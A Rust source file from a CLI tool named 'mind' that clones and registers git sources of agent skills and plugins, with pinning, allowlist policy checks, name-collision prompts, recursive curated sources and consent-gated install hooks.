use std::collections::{BTreeSet, HashSet};
use std::io::Write;
use serde::Serialize;
use crate::catalog::{self, CatalogItem};
use crate::config::Config;
use crate::error::{ItemKind, MindError, Result};
use crate::git;
use crate::install;
use crate::manifest::Manifest;
use crate::mindfile::AuthFailureAction;
use crate::mindfile::HookEvent;
use crate::mindfile::MindToml;
use crate::paths::Paths;
use crate::plugin_manifest;
use crate::policy::Policy;
use crate::resolve::{
is_glob, parse_item_ref, resolve, select, select_by_bare_refs, select_installed,
source_matches, source_matches_glob,
};
use crate::source::{
HookOrigin, ManifestOrigin, Pin, RecordedEvent, Registry, parse_spec, parse_spec_quiet,
};
#[allow(clippy::too_many_arguments)]
pub fn meld(
paths: &Paths,
repo: &str,
alias: Option<String>,
roots: Vec<String>,
add_roots: Vec<String>,
flat_skills: bool,
pin: PinRequest,
install_hook: Option<String>,
dangerously_skip_install_hook_check: bool,
) -> Result<MeldSummary> {
paths.ensure_layout()?;
let policy = Policy::load()?;
let prefer_ssh = Config::load(paths)?.ssh;
let mut registry = Registry::load(paths)?;
let mut visited = HashSet::new();
let source_name = parse_spec_quiet(repo)
.map(|mut s| {
s.apply_alias(alias.clone());
s.name
})
.unwrap_or_else(|_| repo.to_string());
let mut meld_skipped: Vec<SkippedEntry> = Vec::new();
let added = meld_recursive(
paths,
&mut registry,
repo,
alias,
roots,
add_roots,
flat_skills,
pin,
true,
&mut visited,
policy.as_ref(),
install_hook,
dangerously_skip_install_hook_check,
prefer_ssh,
false, None, &mut meld_skipped,
)?;
registry.save(paths)?;
let out = crate::render::ctx();
if !out.json && added > 1 {
println!("melded {added} source(s)");
}
Ok(MeldSummary {
source_name,
added,
skipped: meld_skipped,
})
}
pub fn maybe_probe_hint(paths: &Paths, source_name: &str) -> Result<()> {
let out = crate::render::ctx();
if out.json {
return Ok(());
}
let registry = Registry::load(paths)?;
let Some(source) = registry.find(source_name) else {
return Ok(());
};
if source.item_path.is_some() {
return Ok(());
}
let clone_dir = source.clone_dir(paths);
let curates = MindToml::load(&clone_dir)?
.and_then(|m| m.discover)
.is_some_and(|d| !d.sources.is_empty());
let has_marketplace = plugin_manifest::find_marketplace_manifest(&clone_dir).is_some();
if curates || has_marketplace {
println!(
"note: this source curates other sources; run `mind probe` to browse and search what is available"
);
}
Ok(())
}
#[derive(Debug, Clone, PartialEq, Eq, Default)]
pub enum PinRequest {
#[default]
None,
Freeze(Option<String>),
Follow(Pin),
}
pub fn parse_pin_flags(
pin: Option<String>,
follow_branch: Option<String>,
pin_tag: Option<String>,
pin_ref: Option<String>,
) -> Result<PinRequest> {
let mut set: Vec<(&str, PinRequest)> = Vec::new();
if let Some(v) = pin {
set.push(("--pin", parse_pin_value(v)?));
}
if let Some(b) = follow_branch {
crate::git::validate_ref_value(&b)?;
set.push(("--follow-branch", PinRequest::Follow(Pin::FollowBranch(b))));
}
if let Some(t) = pin_tag {
crate::git::validate_ref_value(&t)?;
set.push(("--pin-tag", PinRequest::Follow(Pin::Tag(t))));
}
if let Some(r) = pin_ref {
crate::git::validate_ref_value(&r)?;
set.push(("--pin-ref", PinRequest::Freeze(Some(r))));
}
if set.len() > 1 {
return Err(MindError::ConflictingPin {
first: set[0].0.to_string(),
second: set[1].0.to_string(),
});
}
Ok(set.into_iter().next().map_or(PinRequest::None, |(_, r)| r))
}
fn parse_pin_value(value: String) -> Result<PinRequest> {
if value == "HEAD" {
return Ok(PinRequest::Freeze(None));
}
if let Some(name) = value.strip_prefix("branch=") {
crate::git::validate_ref_value(name)?;
return Ok(PinRequest::Follow(Pin::FollowBranch(name.to_string())));
}
if let Some(name) = value.strip_prefix("tag=") {
crate::git::validate_ref_value(name)?;
return Ok(PinRequest::Follow(Pin::Tag(name.to_string())));
}
if value.contains('=') {
return Err(MindError::BadPinSpec { value });
}
crate::git::validate_ref_value(&value)?;
Ok(PinRequest::Freeze(Some(value)))
}
fn resolve_checkout_pin(consumer_pin: PinRequest, base_pin: Pin) -> (Pin, bool) {
match consumer_pin {
PinRequest::None => (base_pin, false),
PinRequest::Follow(p) => (p, false),
PinRequest::Freeze(Some(r)) => (Pin::Ref(r), true),
PinRequest::Freeze(None) => (base_pin, true),
}
}
fn pin_description(pin: &Pin) -> String {
match pin {
Pin::DefaultBranch => "default branch".to_string(),
Pin::FollowBranch(b) => format!("branch {b}"),
Pin::Tag(t) => format!("tag {t}"),
Pin::Ref(r) => format!("ref {r}"),
}
}
fn clone_dir_checked(paths: &Paths, source: &crate::source::Source) -> Result<std::path::PathBuf> {
let dir = source.clone_dir(paths);
if source.is_linked() {
return Ok(dir);
}
if install::is_confined_under(&dir, &paths.sources_dir()) {
Ok(dir)
} else {
Err(MindError::UnsafeClonePath {
path: dir,
identity: source.name.clone(),
})
}
}
fn hook_ran_at(
source: &crate::source::Source,
command: &str,
event: RecordedEvent,
current: Option<&str>,
) -> bool {
current.is_some()
&& source
.install_hooks
.iter()
.any(|r| r.is(command, event) && r.ran_at.as_deref() == current)
}
fn record_install_hook(
source: &mut crate::source::Source,
command: &str,
event: RecordedEvent,
ran_at: Option<String>,
) {
if let Some(r) = source
.install_hooks
.iter_mut()
.find(|r| r.is(command, event))
{
r.ran_at = ran_at;
r.baseline = false;
} else {
let mut rec = crate::source::RecordedSourceHook::install(command, ran_at);
rec.event = Some(event);
source.install_hooks.push(rec);
}
}
fn record_source_hook_entry(
source: &mut crate::source::Source,
hook: &crate::mindfile::ResolvedHook,
event: RecordedEvent,
ran_at: Option<String>,
origin: Option<crate::source::HookOrigin>,
baseline: bool,
) {
if let Some(r) = source
.install_hooks
.iter_mut()
.find(|r| r.is(&hook.run, event))
{
r.origin = origin.or(r.origin);
if origin.is_some() {
r.name = hook.name.clone();
r.optional = hook.optional;
}
return;
}
source
.install_hooks
.push(crate::source::RecordedSourceHook {
command: hook.run.clone(),
ran_at,
event: Some(event),
name: origin.is_some().then(|| hook.name.clone()).flatten(),
optional: origin.is_some() && hook.optional,
origin,
baseline,
});
}
enum HookOutcome {
Proceed,
Abort,
}
#[allow(clippy::too_many_arguments)]
fn run_install_hooks(
source: &mut crate::source::Source,
clone_dir: &std::path::Path,
mindfile: &Option<MindToml>,
toml_path: &std::path::Path,
install_override: Option<&str>,
dangerously_skip: bool,
force_rerun: bool,
extra_hooks: Vec<crate::mindfile::ResolvedHook>,
) -> Result<HookOutcome> {
let mut resolved = mindfile
.as_ref()
.map(|m| m.resolved_hooks(toml_path))
.transpose()?
.unwrap_or_default();
let curated_keys: HashSet<(String, &'static str)> = extra_hooks
.iter()
.map(|h| (h.run.clone(), h.event.as_str()))
.collect();
resolved.extend(extra_hooks);
let (hooks, replaced) = crate::hook::apply_install_override(resolved, install_override);
let override_cmd: Option<&str> = install_override.map(str::trim).filter(|s| !s.is_empty());
let origin_of = |h: &crate::mindfile::ResolvedHook| -> Option<HookOrigin> {
if h.event == HookEvent::Install && override_cmd == Some(h.run.as_str()) {
Some(HookOrigin::Override)
} else if curated_keys.contains(&(h.run.clone(), h.event.as_str())) {
Some(HookOrigin::Curated)
} else {
None
}
};
let pin_desc = pin_description(&source.pin);
let commit = source.commit.clone().unwrap_or_default();
let current = source.commit.clone();
let clone_path = clone_dir.display().to_string();
let name = source.name.clone();
for h in hooks.iter().filter(|h| h.event == HookEvent::Install) {
if !force_rerun && hook_ran_at(source, &h.run, RecordedEvent::Install, current.as_deref()) {
continue;
}
let declared_override: Option<String> = replaced.as_ref().and_then(|cmds| {
if override_cmd == Some(h.run.as_str()) {
Some(cmds.join("; "))
} else {
None
}
});
let browse_url = source.browse_url(&commit);
let disclosure = crate::hook::hook_disclosure_text(
h.label(),
h.event.as_str(),
h.optional,
&name,
&pin_desc,
&commit,
&clone_path,
&h.run,
declared_override.as_deref(),
browse_url.as_deref(),
);
match crate::hook::decide(&disclosure, h.optional, dangerously_skip)? {
crate::hook::HookAct::Run => {
println!("running install hook '{}' for {}", h.label(), name);
crate::hook::run_hook(&h.run, clone_dir, &name, "install", h.label())?;
record_install_hook(source, &h.run, RecordedEvent::Install, current.clone());
stamp_origin(source, h, RecordedEvent::Install, origin_of(h));
}
crate::hook::HookAct::Skip => {
crate::render::note(format!(
"note: skipped install hook '{}' for {}; its items may not work until it runs",
h.label(),
name
));
record_install_hook(source, &h.run, RecordedEvent::Install, None);
stamp_origin(source, h, RecordedEvent::Install, origin_of(h));
}
crate::hook::HookAct::Abort => return Ok(HookOutcome::Abort),
}
}
for h in hooks.iter().filter(|h| h.event == HookEvent::Update) {
record_source_hook_entry(
source,
h,
RecordedEvent::Update,
current.clone(),
origin_of(h),
true,
);
}
Ok(HookOutcome::Proceed)
}
fn stamp_origin(
source: &mut crate::source::Source,
hook: &crate::mindfile::ResolvedHook,
event: RecordedEvent,
origin: Option<HookOrigin>,
) {
if origin.is_none() {
return;
}
record_source_hook_entry(source, hook, event, None, origin, false);
}
struct CuratedConfig {
pin: Option<Pin>,
roots: Option<Vec<String>>,
add_roots: Option<Vec<String>>,
flat_skills: bool,
hooks: Vec<crate::mindfile::ResolvedHook>,
}
impl CuratedConfig {
fn has_gated_values(&self) -> bool {
self.roots.is_some()
|| self.add_roots.is_some()
|| self.flat_skills
|| !self.hooks.is_empty()
}
}
#[allow(clippy::too_many_arguments)]
fn meld_recursive(
paths: &Paths,
registry: &mut Registry,
repo: &str,
alias: Option<String>,
roots: Vec<String>,
add_roots: Vec<String>,
flat_skills: bool,
consumer_pin: PinRequest,
top_level: bool,
visited: &mut HashSet<String>,
policy: Option<&Policy>,
install_hook: Option<String>,
dangerously_skip_hook_check: bool,
prefer_ssh: bool,
yes: bool,
curated: Option<CuratedConfig>,
skipped: &mut Vec<SkippedEntry>,
) -> Result<usize> {
let out = crate::render::ctx();
let mut source = parse_spec(repo)?;
if let Some(a) = &alias {
crate::namespace::validate_prefix(a)?;
}
source.apply_alias(alias);
source.prefer_ssh(prefer_ssh);
let url_pin = if source.item_path.is_some() && source.pin != Pin::DefaultBranch {
Some(std::mem::replace(&mut source.pin, Pin::DefaultBranch))
} else {
None
};
if !visited.insert(format!("{}|{}", source.name, source.url)) {
return Ok(0);
}
if let Some(existing) = registry.find(&source.name) {
if top_level {
return Err(MindError::SourceExists {
name: source.name.clone(),
url: existing.url.clone(),
});
}
if existing.url != source.url {
eprintln!(
"warning: source name '{}' already melded from {}; skipping {}",
source.name, existing.url, source.url
);
}
return Ok(0);
}
let mut dir = clone_dir_checked(paths, &source)?;
let is_local = source.is_local();
if !out.json {
println!(
"{} melding {} from {}",
out.bullet(),
source.name,
out.dim(&source.url)
);
}
if let Some(policy) = policy {
let identity = source.base_identity();
if policy.lock() && !policy.allow_local() && is_local {
if let Some(path) = effective_policy_path() {
eprintln!("hint: managed policy at {path}");
}
return Err(MindError::LocalMeldForbidden { identity });
}
let allowed = policy.allow_matches(&identity);
if policy.lock() && !allowed {
if let Some(path) = effective_policy_path() {
eprintln!("hint: managed policy at {path}");
}
return Err(MindError::SourceNotAllowed { identity });
}
if !policy.lock() && !allowed {
eprintln!(
"warning: source '{identity}' is not in the managed policy's allowlist (advisory; not enforced because [sources].lock is false)"
);
}
}
if is_local {
if !dir.is_dir() {
return Err(MindError::NotADirectory {
path: dir.display().to_string(),
});
}
} else {
if dir.exists() {
std::fs::remove_dir_all(&dir).map_err(|e| MindError::io(&dir, e))?;
}
if let Some(parent) = dir.parent() {
crate::paths::mkdir_p(parent)?;
}
git::clone(&source.url, &dir).map_err(|e| {
if top_level {
let ssh = (!source.is_local()).then(|| source.ssh_url());
handle_top_level_clone_err(e, ssh, &dir, out)
} else {
e
}
})?;
}
let mut mindfile = MindToml::load(&dir)?;
source.description = mindfile
.as_ref()
.and_then(|m| m.source.description.clone())
.map(|d| strip_ansi(&d));
let curated = curated.unwrap_or(CuratedConfig {
pin: None,
roots: None,
add_roots: None,
flat_skills: false,
hooks: Vec::new(),
});
let apply_curated = mindfile.is_none();
let curated_pin = curated.pin.clone();
if !apply_curated && curated.has_gated_values() {
let add_root_hint = if curated.add_roots.is_some() {
format!(
"; to apply add-roots yourself, run `mind meld {} --add-root <dir>` \
(that flag is not gated by a nested mind.toml)",
crate::error::shell_quote(&source.name)
)
} else {
String::new()
};
eprintln!(
"warning: {} ships its own mind.toml; curator-supplied roots/add-roots/flat-skills/hooks are ignored{add_root_hint}",
source.name
);
}
let curated_hooks = if apply_curated {
curated.hooks.clone()
} else {
Vec::new()
};
let toml_path = dir.join("mind.toml");
let directive_pin = mindfile
.as_ref()
.map(|m| m.source.pin_directive(&toml_path))
.transpose()?
.flatten();
let base_pin = curated_pin
.or(url_pin)
.or(directive_pin)
.unwrap_or(Pin::DefaultBranch);
let (checkout_pin, freeze) = resolve_checkout_pin(consumer_pin, base_pin);
let persisted_unpinned =
!freeze && matches!(checkout_pin, Pin::DefaultBranch | Pin::FollowBranch(_));
if let Some(policy) = policy {
let identity = source.name.clone();
if policy.pinned() && persisted_unpinned {
if !is_local {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(MindError::UnpinnedSourceForbidden { identity });
}
}
if checkout_pin != Pin::DefaultBranch {
source.pin = checkout_pin.clone();
let target = clone_dir_checked(paths, &source)?;
if target.exists() {
std::fs::remove_dir_all(&target).map_err(|e| MindError::io(&target, e))?;
}
if let Some(parent) = target.parent() {
crate::paths::mkdir_p(parent)?;
}
if let Err(e) = git::clone_at(&source.url, &target, &checkout_pin) {
let _ = std::fs::remove_dir_all(&target);
let e = if top_level {
let ssh = (!source.is_local()).then(|| source.ssh_url());
handle_top_level_clone_err(e, ssh, &target, out)
} else {
e
};
return Err(e);
}
dir = target;
mindfile = MindToml::load(&dir)?;
source.description = mindfile
.as_ref()
.and_then(|m| m.source.description.clone())
.map(|d| strip_ansi(&d));
}
let linked_default = is_local && checkout_pin == Pin::DefaultBranch && !freeze;
let commit = if linked_default {
git::head_commit(&source.url, &dir).ok()
} else {
Some(git::head_commit(&source.url, &dir)?)
};
let final_pin = if freeze {
let sha = commit.clone().expect("a freeze reads a concrete commit");
let ref_pin = Pin::Ref(sha);
if is_local && checkout_pin == Pin::DefaultBranch {
source.pin = ref_pin.clone();
let target = clone_dir_checked(paths, &source)?;
if target.exists() {
std::fs::remove_dir_all(&target).map_err(|e| MindError::io(&target, e))?;
}
if let Some(parent) = target.parent() {
crate::paths::mkdir_p(parent)?;
}
if let Err(e) = git::clone_at(&source.url, &target, &ref_pin) {
let _ = std::fs::remove_dir_all(&target);
return Err(e);
}
dir = target;
mindfile = MindToml::load(&dir)?;
source.description = mindfile
.as_ref()
.and_then(|m| m.source.description.clone())
.map(|d| strip_ansi(&d));
}
ref_pin
} else {
checkout_pin
};
source.pin = final_pin;
source.commit = commit;
let is_authoritative = mindfile.as_ref().is_some_and(|m| m.is_authoritative());
let declares_scan_layout = mindfile.as_ref().is_some_and(|m| m.declares_scan_layout());
let consumer_scan_layout = !roots.is_empty() || flat_skills;
if !out.json && (is_authoritative || declares_scan_layout || consumer_scan_layout) {
let has_plugin = plugin_manifest::find_plugin_manifest(&dir).is_some();
let has_marketplace = plugin_manifest::find_marketplace_manifest(&dir).is_some();
if has_plugin || has_marketplace {
if is_authoritative {
println!(
"note: {} uses an authoritative mind.toml; its .claude-plugin/ manifest is ignored",
source.name
);
} else {
let via = if declares_scan_layout {
"mind.toml [source].roots/flat-skills"
} else {
"--root/--flat-skills"
};
println!(
"note: {} discovers its own items by convention ({via}); \
the .claude-plugin/ manifest's plugin components are ignored",
source.name
);
}
}
}
if !roots.is_empty() {
if is_authoritative {
if !out.json {
println!(
"note: {} uses an authoritative mind.toml; --root is ignored",
source.name
);
}
} else {
source.roots = Some(roots);
}
} else if apply_curated && curated.roots.is_some() {
source.roots = curated.roots.clone();
}
if flat_skills {
if is_authoritative {
if !out.json {
println!(
"note: {} uses an authoritative mind.toml; --flat-skills is ignored",
source.name
);
}
} else {
source.flat_skills = true;
}
} else if apply_curated && curated.flat_skills {
source.flat_skills = true;
}
if !add_roots.is_empty() {
source.add_roots = Some(add_roots);
} else if apply_curated && curated.add_roots.is_some() {
source.add_roots = curated.add_roots.clone();
}
let mut items = match catalog::scan(paths, &single(&source)) {
Ok(items) => items,
Err(e) => {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(e);
}
};
if top_level
&& source.alias.is_none()
&& crate::hook::is_tty()
&& let Some(declared) = mindfile.as_ref().and_then(|m| m.source.prefix.clone())
&& !declared.is_empty()
{
let preview = if items.is_empty() {
String::new()
} else {
let names: Vec<String> = items.iter().map(|it| it.display_key()).collect();
format!("\n items would install as: {}", names.join(", "))
};
let answer = prompt_line(&format!(
"{} suggests the prefix '{declared}'.{preview}\n use it? [Y]es / type a different prefix / [n]o prefix: ",
source.name
))?;
let chosen = crate::namespace::prefix_choice(&answer);
if let Some(c) = &chosen {
crate::namespace::validate_prefix(c)?;
}
if chosen != source.alias {
source.alias = chosen;
items = match catalog::scan(paths, &single(&source)) {
Ok(items) => items,
Err(e) => {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(e);
}
};
}
}
if top_level {
let manifest = crate::manifest::Manifest::load(paths)?;
let mut conflicts: Vec<(String, String, String)> = Vec::new();
for entry in manifest.items.values() {
if entry.kind == crate::error::ItemKind::Agent {
continue;
}
if entry.source == source.name {
continue;
}
let eff_name = entry.name.as_str();
if items
.iter()
.any(|it| it.kind == entry.kind && it.effective_name() == eff_name)
{
conflicts.push((
entry.kind.as_str().to_string(),
eff_name.to_string(),
entry.source.clone(),
));
}
}
if !conflicts.is_empty() {
let suggested = suggested_namespace(&source.url);
if crate::hook::is_tty() && !yes {
let answer = prompt_line(&format!(
"name collision detected -- the following items conflict with \
already-installed items:\n{}\n\
enter a namespace prefix [{suggested}] (. to abort): ",
format_conflicts_display(&conflicts),
))?;
match parse_collision_answer(&answer, &suggested) {
CollisionAnswer::Abort => {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(MindError::SkillCollision {
conflicts,
suggested,
});
}
CollisionAnswer::Prefix(chosen_str) => {
let chosen = if chosen_str.is_empty() {
None
} else {
Some(chosen_str)
};
if let Some(c) = &chosen {
crate::namespace::validate_prefix(c)?;
}
if chosen != source.alias {
source.alias = chosen;
items = match catalog::scan(paths, &single(&source)) {
Ok(items) => items,
Err(e) => {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(e);
}
};
}
}
}
} else {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(MindError::SkillCollision {
conflicts,
suggested,
});
}
}
}
warn_unguarded_references(&items);
warn_agent_collisions(paths, &items); if !out.json {
let curates_other_sources = mindfile
.as_ref()
.and_then(|m| m.discover.as_ref())
.is_some_and(|d| !d.sources.is_empty());
let has_manifest = plugin_manifest::find_plugin_manifest(&dir).is_some()
|| plugin_manifest::find_marketplace_manifest(&dir).is_some();
if items.is_empty()
&& top_level
&& !is_authoritative
&& !curates_other_sources
&& !has_manifest
{
println!("{} melded {} (0 item(s))", out.warn(), source.name);
println!(
" no items found by convention scanning \
(skills/<name>/SKILL.md, agents/<name>.md, rules/<name>.md, \
commands/<name>.md, \
tools/<name>/); if your layout differs, use --root <dir>, \
--add-root <dir>, or --flat-skills"
);
} else {
println!(
"{} melded {} ({} item(s))",
out.ok(),
source.name,
items.len()
);
}
if source.as_alias.as_deref().is_some_and(|a| !a.is_empty()) {
let base = source.base_identity();
let existing: Vec<&str> = registry
.sources
.iter()
.filter(|s| s.base_identity() == base)
.map(|s| s.name.as_str())
.collect();
if !existing.is_empty() {
let (subject, verb) = if existing.len() == 1 {
(format!("the existing {}", existing[0]), "remains")
} else {
(
format!("the existing instances {}", existing.join(", ")),
"remain",
)
};
println!(
"note: registered a new instance {}; {subject} {verb}",
source.name
);
}
}
}
if !is_authoritative && !out.json && plugin_manifest::find_plugin_manifest(&dir).is_some() {
let skipped_comps = catalog::plugin_skipped_components(&dir);
if let Some(summary) = skipped_comps.summary() {
println!("note: {summary}");
}
}
match run_install_hooks(
&mut source,
&dir,
&mindfile,
&toml_path,
install_hook.as_deref(),
dangerously_skip_hook_check,
false,
curated_hooks,
) {
Ok(HookOutcome::Proceed) => {}
Ok(HookOutcome::Abort) => {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
println!("aborted; nothing installed");
return Ok(0);
}
Err(e) => {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(e);
}
}
if !is_authoritative && source.item_path.is_none() {
if let Some(plugin_path) = plugin_manifest::find_plugin_manifest(&dir) {
source.origin = Some(ManifestOrigin::ClaudePlugin);
if let Ok(pm) = plugin_manifest::load_plugin_manifest(&plugin_path) {
source.plugin_version = pm.version;
if source.description.is_none() {
source.description = pm.description.map(|d| strip_ansi(&d));
}
}
} else if plugin_manifest::find_marketplace_manifest(&dir).is_some() {
source.origin = Some(ManifestOrigin::ClaudeMarketplace);
}
}
let super_source_name = source.name.clone();
let is_link = source.item_path.is_some();
registry.sources.push(source);
let mut added = 1;
let mut nested_clone_failures = 0usize;
if let Some(nested) = mindfile
.as_ref()
.filter(|_| !is_link) .and_then(|m| m.discover.as_ref())
.map(|d| &d.sources)
{
for entry in nested {
entry.validate(&toml_path)?;
if let Some(missing) = unresolvable_managed_local_entry(paths, &entry.source) {
eprintln!(
"warning: skipping nested source '{}' curated by '{super_source_name}': it \
resolves inside mind's own sources tree ({}) where nothing was cloned, so \
it is a relative path that only meant something in the curator's own \
working tree; meld that source by an absolute path or a URL instead",
missing.display(),
paths.sources_dir().display()
);
skipped.push(SkippedEntry {
source: entry.source.clone(),
reason: "unresolvable_local_path".into(),
});
continue;
}
let curated = CuratedConfig {
pin: entry.pin_directive(&toml_path)?,
roots: entry.roots.clone(),
add_roots: entry.add_roots.clone(),
flat_skills: entry.flat_skills,
hooks: entry.resolved_hooks(&toml_path)?,
};
match meld_recursive(
paths,
registry,
&entry.source,
entry.effective_alias(), vec![], vec![], false, PinRequest::None, false,
visited,
policy,
None, dangerously_skip_hook_check,
prefer_ssh, false, Some(curated),
skipped,
) {
Ok(n) => added += n,
Err(e) if git::is_auth_failure(&e) => {
let entry_name = parse_spec_quiet(&entry.source)
.map(|mut s| {
s.apply_alias(entry.effective_alias());
s.name
})
.unwrap_or_else(|_| entry.source.clone());
if registry.find(&entry_name).is_some() {
return Err(e);
}
let Some(cfg) = &entry.on_auth_failure else {
return Err(e);
};
for line in auth_failure_lines(&entry_name, cfg) {
eprintln!("{line}");
}
if cfg.action == AuthFailureAction::Skip {
skipped.push(SkippedEntry {
source: entry_name,
reason: "auth_failure".into(),
});
continue;
}
return Err(e);
}
Err(e) => {
let entry_name = parse_spec_quiet(&entry.source)
.map(|mut s| {
s.apply_alias(entry.effective_alias());
s.name
})
.unwrap_or_else(|_| entry.source.clone());
if registry.find(&entry_name).is_some() {
return Err(e);
}
for line in clone_failure_lines(&entry_name, &e) {
eprintln!("{line}");
}
skipped.push(SkippedEntry {
source: entry_name,
reason: "clone_failure".into(),
});
nested_clone_failures += 1;
continue;
}
}
if let Some(refs) = &entry.install_items
&& !refs.is_empty()
&& let Ok(mut spec) = parse_spec_quiet(&entry.source)
&& {
spec.apply_alias(entry.effective_alias());
true
}
&& let Some(nested_src) = registry.find(&spec.name)
{
let nested_items = catalog::scan(paths, &single(nested_src))?;
for item_ref in refs {
let parsed = crate::resolve::parse_item_ref(item_ref).map_err(|_| {
MindError::BadReference {
item: format!("install-items in '{super_source_name}'"),
referent: item_ref.clone(),
reason: crate::error::BadRefReason::NoMatch,
in_source: spec.name.clone(),
}
})?;
let found = nested_items.iter().any(|it| {
parsed.kind.is_none_or(|k| it.kind == k) && it.name == parsed.name
});
if !found {
return Err(MindError::BadReference {
item: format!("install-items in '{super_source_name}'"),
referent: item_ref.clone(),
reason: crate::error::BadRefReason::NoMatch,
in_source: spec.name.clone(),
});
}
}
}
}
}
if !is_authoritative
&& !is_link && let Some(marketplace_path) = plugin_manifest::find_marketplace_manifest(&dir)
{
let manifest = plugin_manifest::load_marketplace_manifest(&marketplace_path)?;
for entry in manifest.into_entries() {
if matches!(entry.source, plugin_manifest::PluginSource::InRepo { .. }) {
continue; }
if let plugin_manifest::PluginSource::InRepo { ref path } = entry.source
&& !plugin_manifest::is_safe_manifest_path(path)
{
return Err(MindError::MindToml {
path: marketplace_path.clone(),
msg: format!("marketplace.json: in-repo plugin path {:?} is unsafe", path),
});
}
let repo_spec = marketplace_entry_spec(&entry, &dir);
let entry_name = entry.name.clone();
let entry_version = entry.version;
let entry_description = entry.description;
match meld_recursive(
paths,
registry,
&repo_spec,
Some(entry_name.clone()),
vec![],
vec![],
false,
PinRequest::None, false, visited,
policy,
None, dangerously_skip_hook_check,
prefer_ssh,
false, None, skipped,
) {
Ok(n) => {
added += n;
if let Ok(mut sub_spec) = parse_spec_quiet(&repo_spec)
&& {
sub_spec.apply_alias(Some(entry_name.clone()));
true
}
&& let Some(sub) = registry
.sources
.iter_mut()
.find(|s| s.name == sub_spec.name)
{
sub.origin = Some(ManifestOrigin::ClaudeMarketplace);
if entry_version.is_some() {
sub.plugin_version = entry_version;
}
if entry_description.is_some() {
sub.description = entry_description.map(|d| strip_ansi(&d));
}
}
}
Err(e) if git::is_auth_failure(&e) => {
return Err(e);
}
Err(e) => {
let sub_name = parse_spec_quiet(&repo_spec)
.map(|mut s| {
s.apply_alias(Some(entry_name.clone()));
s.name
})
.unwrap_or_else(|_| entry_name.clone());
if registry.find(&sub_name).is_some() {
return Err(e);
}
for line in clone_failure_lines(&sub_name, &e) {
eprintln!("{line}");
}
skipped.push(SkippedEntry {
source: sub_name,
reason: "clone_failure".into(),
});
nested_clone_failures += 1;
continue;
}
}
}
}
if nested_clone_failures > 0
&& added == 1
&& let Some(primary) = registry.find(&super_source_name)
&& scan_one(paths, primary)?.is_empty()
{
return Err(MindError::CuratorAllNestedFailed {
super_source: super_source_name.to_string(),
});
}
Ok(added)
}
use crate::sanitize::{display_path, strip_ansi};
fn effective_policy_path() -> Option<String> {
#[cfg(target_os = "macos")]
const SYSTEM_FIXED: &str = "/Library/Application Support/mind/policy.toml";
#[cfg(all(not(target_os = "macos"), not(target_os = "windows")))]
const SYSTEM_FIXED: &str = "/etc/mind/policy.toml";
#[cfg(not(target_os = "windows"))]
{
let sys = std::path::Path::new(SYSTEM_FIXED);
if sys.exists() {
return Some(SYSTEM_FIXED.to_string());
}
}
#[cfg(target_os = "windows")]
{
let base = std::env::var_os("PROGRAMDATA")
.map(std::path::PathBuf::from)
.unwrap_or_else(|| std::path::PathBuf::from(r"C:\ProgramData"));
let sys = base.join("mind").join("policy.toml");
if sys.exists() {
return Some(sys.display().to_string());
}
}
let env_path = std::env::var_os("MIND_POLICY_FILE").map(std::path::PathBuf::from)?;
env_path.exists().then(|| env_path.display().to_string())
}
fn suggested_namespace(url: &str) -> String {
let base = url.split('/').next_back().unwrap_or(url);
base.strip_suffix(".git").unwrap_or(base).to_string()
}
fn format_conflicts_display(conflicts: &[(String, String, String)]) -> String {
conflicts
.iter()
.map(|(k, n, s)| {
let safe_n = strip_ansi(n);
let safe_s = strip_ansi(s);
format!(" {k}:{safe_n} (already installed from '{safe_s}')")
})
.collect::<Vec<_>>()
.join("\n")
}
enum CollisionAnswer {
Prefix(String),
Abort,
}
fn parse_collision_answer(answer: &str, suggested: &str) -> CollisionAnswer {
let trimmed = answer.trim();
if trimmed.is_empty() {
CollisionAnswer::Prefix(suggested.to_string())
} else if trimmed == "." {
CollisionAnswer::Abort
} else {
CollisionAnswer::Prefix(trimmed.to_string())
}
}
fn origin_label(origin: Option<ManifestOrigin>) -> String {
match origin {
None => String::new(),
Some(ManifestOrigin::ClaudePlugin) => " origin:claude-plugin".to_string(),
Some(ManifestOrigin::ClaudeMarketplace) => " origin:claude-marketplace".to_string(),
}
}
fn marketplace_entry_spec(
entry: &plugin_manifest::MarketplaceEntry,
clone_dir: &std::path::Path,
) -> String {
match &entry.source {
plugin_manifest::PluginSource::External { spec } => spec.clone(),
plugin_manifest::PluginSource::InRepo { path } => {
clone_dir.join(path).to_string_lossy().into_owned()
}
}
}
fn auth_failure_lines(entry_name: &str, cfg: &crate::mindfile::OnAuthFailure) -> Vec<String> {
let is_skip = cfg.action == AuthFailureAction::Skip;
let safe_name = strip_ansi(entry_name);
let mut lines = vec![format!(
"unable to meld source {} due to authentication failure{}",
safe_name,
if is_skip { " (skipping)" } else { "" }
)];
if let Some(msg) = &cfg.message {
let safe_msg = strip_ansi(msg);
lines.push(safe_msg);
}
lines
}
fn clone_failure_lines(entry_name: &str, err: &MindError) -> Vec<String> {
let safe_name = strip_ansi(entry_name);
let safe_err = strip_ansi(&err.to_string());
vec![format!(
" warning: skipping '{safe_name}': clone failed ({safe_err}), source unavailable"
)]
}
fn handle_top_level_clone_err(
e: MindError,
ssh_url: Option<String>,
store_path: &std::path::Path,
out: crate::render::OutputCtx,
) -> MindError {
if out.json {
return match e {
MindError::Git {
url,
status,
stderr,
..
} => MindError::Git {
url,
args: vec!["clone".to_string()],
status,
stderr,
},
other => other,
};
}
if let MindError::Git {
ref stderr,
ref args,
..
} = e
{
if !stderr.is_empty() {
eprintln!("{}", strip_ansi(stderr));
}
if out.verbose {
eprintln!(" command: git {}", args.join(" "));
eprintln!(" store: {}", store_path.display());
}
}
if git::is_auth_failure(&e) {
if let Some(ref ssh) = ssh_url {
for line in git::auth_hint_lines(ssh) {
eprintln!("{line}");
}
}
} else if git::is_proxy_failure(&e) {
for line in git::proxy_hint_lines() {
eprintln!("{line}");
}
}
match e {
MindError::Git { url, status, .. } => MindError::Git {
url,
args: vec!["clone".to_string()],
status,
stderr: "(git output above)".to_string(),
},
other => other,
}
}
